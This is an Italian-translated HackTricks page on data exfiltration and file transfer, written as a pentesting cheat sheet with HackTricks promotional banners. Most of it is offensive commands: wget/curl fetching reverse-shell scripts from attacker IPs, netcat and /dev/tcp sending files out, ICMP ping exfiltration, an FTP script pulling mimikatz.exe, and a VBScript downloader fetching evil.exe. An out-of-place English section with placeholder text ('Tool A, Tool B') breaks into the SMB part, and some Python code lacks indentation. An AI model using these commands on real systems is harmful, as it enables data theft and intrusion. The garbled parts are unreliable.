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Esfiltrazione

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
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Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
Unisciti al 💬 Gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Domini comunemente autorizzati per esfiltrare informazioni

Controlla https://lots-project.com/ per trovare i domini comunemente autorizzati che possono essere abusati

Copia e Incolla Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Caricare file

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Server HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Server FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Server FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Server FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Client Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali come server

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

O creare una condivisione smb utilizzando samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Exfiltration

Introduction

Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or using covert channels.

Techniques

Command and Control (C2) Channels

C2 channels are commonly used by attackers to exfiltrate data from compromised systems. These channels allow the attacker to send commands to the compromised system and receive exfiltrated data.

Data Exfiltration over DNS

Data exfiltration over DNS involves encoding data in DNS queries or responses to exfiltrate information from a target network. This technique can be used to bypass network security controls that may not inspect DNS traffic.

Covert Channels

Covert channels involve using methods that are not typically monitored or controlled by security devices to exfiltrate data. This can include techniques such as using steganography to hide data within images or using protocol tunneling to bypass network controls.

Tools and Resources

There are various tools and resources available to help with exfiltration during penetration testing engagements. Some popular tools include Tool A, Tool B, and Tool C.

Conclusion

Exfiltration is a critical phase of a penetration test, as it demonstrates the impact an attacker could have if they were able to successfully exfiltrate sensitive data from a target system. By understanding the various exfiltration techniques and utilizing the right tools and resources, penetration testers can effectively assess an organization's security posture and help improve its defenses against real-world attacks.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

L'attaccante deve avere SSHd in esecuzione.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Se la vittima ha SSH, l'attaccante può montare una directory dalla vittima all'attaccante.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

Netcat è uno strumento versatile che può essere utilizzato per trasferire dati da un sistema compromesso a un server controllato dall'attaccante. Può essere utilizzato per aprire connessioni TCP/UDP, inviare file e molto altro ancora. Ecco un esempio di come utilizzare Netcat per esfiltrare dati:

Sul sistema compromesso:

nc -w 3 [indirizzo IP del server] [porta] < file_da_esfiltrare

Sul server controllato dall'attaccante:
```
nc -l -p [porta] > file_ricevuto
```

Assicurati di adattare gli indirizzi IP, le porte e i nomi dei file alle tue esigenze specifiche.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Scaricare un file dalla vittima

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Carica file sulla vittima

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Grazie a @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Se puoi inviare dati a un server SMTP, puoi creare un server SMTP per ricevere i dati con python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Per impostazione predefinita in XP e 2003 (in altri sistemi è necessario aggiungerlo esplicitamente durante l'installazione)

In Kali, avvia il server TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Server TFTP in python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

Nel vittima, connettersi al server Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Scarica un file con un PHP oneliner:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

VBScript (Visual Basic Scripting Edition) è un linguaggio di scripting sviluppato da Microsoft che è spesso utilizzato per automatizzare attività all'interno di sistemi Windows. È possibile utilizzare VBScript per eseguire operazioni di esfiltrazione di dati, come ad esempio inviare informazioni sensibili a un server remoto.

Attacker> python -m SimpleHTTPServer 80

Vittima

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Il programma debug.exe non solo consente l'ispezione dei file binari ma ha anche la capacità di ricostruirli da esadecimale. Ciò significa che fornendo un esadecimale di un file binario, debug.exe può generare il file binario. Tuttavia, è importante notare che debug.exe ha una limitazione nell'assemblare file fino a 64 kb di dimensione.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Quindi copia-incolla il testo nella shell di Windows e verrà creato un file chiamato nc.exe.

* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

## DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

**Try Hard Security Group**

<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

<details>

<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

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